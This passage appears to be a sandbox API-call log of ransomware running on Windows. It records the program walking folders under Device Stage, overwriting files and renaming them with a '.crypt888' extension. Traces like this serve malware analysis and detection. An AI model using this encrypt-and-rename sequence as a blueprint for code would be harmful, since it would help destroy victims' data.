(dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0086.653] GetFileType (hFile=0x174) returned 0x1 [0086.653] WriteFile (in: hFile=0x174, lpBuffer=0x270acd0*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x270acd0*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0086.654] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Hack.html", lpFilePart=0x0) returned 0x33 [0086.654] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Hack.html.crypt888", lpFilePart=0x0) returned 0x3c [0086.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0086.654] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb6f9000, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb6f9000, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc4d87f80, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0086.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0086.654] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\device stage\\hack.html.crypt888")) returned 1 [0086.655] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0086.655] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device", lpFilePart=0x0) returned 0x30 [0086.655] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\", lpFilePart=0x0) returned 0x31 [0086.655] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a228 [0086.655] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.655] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.656] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.656] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.656] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0086.656] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0086.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0086.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0086.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0086.656] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device", lpFilePart=0x0) returned 0x30 [0086.656] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\", lpFilePart=0x0) returned 0x31 [0086.656] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a228 [0086.657] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.658] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.658] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.658] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0086.658] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0086.658] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0086.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0086.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0086.658] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\Hack.html", lpFilePart=0x0) returned 0x3a [0086.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0086.659] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.659] GetFileType (hFile=0x174) returned 0x1 [0086.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0086.659] GetFileType (hFile=0x174) returned 0x1 [0086.659] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0086.659] ReadFile (in: hFile=0x174, lpBuffer=0x270e078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x270e078*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0086.679] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\Hack.html", lpFilePart=0x0) returned 0x3a [0086.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0086.679] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.681] GetFileType (hFile=0x174) returned 0x1 [0086.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0086.681] GetFileType (hFile=0x174) returned 0x1 [0086.681] WriteFile (in: hFile=0x174, lpBuffer=0x275c350*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x275c350*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0086.682] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\Hack.html", lpFilePart=0x0) returned 0x3a [0086.682] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\Hack.html.crypt888", lpFilePart=0x0) returned 0x43 [0086.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0086.682] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbaac5f40, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbaac5f40, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc4dd4240, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0086.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0086.682] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\hack.html.crypt888")) returned 1 [0086.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0086.683] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpFilePart=0x0) returned 0x57 [0086.683] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpFilePart=0x0) returned 0x58 [0086.683] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a768 [0086.683] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.684] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.684] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.684] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.684] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.684] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.684] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.684] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0086.685] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0086.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0086.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0086.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0086.685] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpFilePart=0x0) returned 0x57 [0086.685] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpFilePart=0x0) returned 0x58 [0086.685] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a768 [0086.685] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.685] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.686] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.686] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.686] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.686] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.686] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0086.687] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0086.687] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0086.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0086.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0086.687] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", lpFilePart=0x0) returned 0x66 [0086.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0086.687] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.687] GetFileType (hFile=0x174) returned 0x1 [0086.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0086.687] GetFileType (hFile=0x174) returned 0x1 [0086.687] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x1fad1 [0086.687] ReadFile (in: hFile=0x174, lpBuffer=0x392e310, nNumberOfBytesToRead=0x1fad1, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x392e310*, lpNumberOfBytesRead=0x39ecbc*=0x1fad1, lpOverlapped=0x0) returned 1 [0086.725] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", lpFilePart=0x0) returned 0x66 [0086.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0086.725] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0086.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0086.727] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", lpFilePart=0x0) returned 0x64 [0086.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0086.727] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.727] GetFileType (hFile=0x174) returned 0x1 [0086.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0086.727] GetFileType (hFile=0x174) returned 0x1 [0086.727] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xb61 [0086.728] ReadFile (in: hFile=0x174, lpBuffer=0x26b1c18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x26b1c18*, lpNumberOfBytesRead=0x39ecbc*=0xb61, lpOverlapped=0x0) returned 1 [0086.728] CloseHandle (hObject=0x174) returned 1 [0086.766] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml", lpFilePart=0x0) returned 0x64 [0086.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0086.766] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0086.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0086.768] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", lpFilePart=0x0) returned 0x62 [0086.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0086.768] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.768] GetFileType (hFile=0x174) returned 0x1 [0086.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0086.768] GetFileType (hFile=0x174) returned 0x1 [0086.768] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xadc8 [0086.768] ReadFile (in: hFile=0x174, lpBuffer=0x2703c88, nNumberOfBytesToRead=0xadc8, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2703c88*, lpNumberOfBytesRead=0x39ecbc*=0xadc8, lpOverlapped=0x0) returned 1 [0086.769] CloseHandle (hObject=0x174) returned 1 [0086.810] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png", lpFilePart=0x0) returned 0x62 [0086.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0086.810] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0086.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0086.811] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Hack.html", lpFilePart=0x0) returned 0x61 [0086.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0086.811] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.811] GetFileType (hFile=0x174) returned 0x1 [0086.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0086.811] GetFileType (hFile=0x174) returned 0x1 [0086.811] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0086.811] ReadFile (in: hFile=0x174, lpBuffer=0x277ca64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x277ca64*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0086.812] CloseHandle (hObject=0x174) returned 1 [0086.858] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Hack.html", lpFilePart=0x0) returned 0x61 [0086.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0086.858] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0086.859] GetFileType (hFile=0x174) returned 0x1 [0086.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0086.859] GetFileType (hFile=0x174) returned 0x1 [0086.859] WriteFile (in: hFile=0x174, lpBuffer=0x27cac2c*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec80, lpOverlapped=0x0 | out: lpBuffer=0x27cac2c*, lpNumberOfBytesWritten=0x39ec80*=0xc0, lpOverlapped=0x0) returned 1 [0086.861] CloseHandle (hObject=0x174) returned 1 [0086.861] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Hack.html", lpFilePart=0x0) returned 0x61 [0086.861] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Hack.html.crypt888", lpFilePart=0x0) returned 0x6a [0086.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0086.861] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba7f2520, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba7f2520, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc4f9d2c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0086.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0086.861] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\hack.html.crypt888")) returned 1 [0086.862] GetFullPathNameW (in: 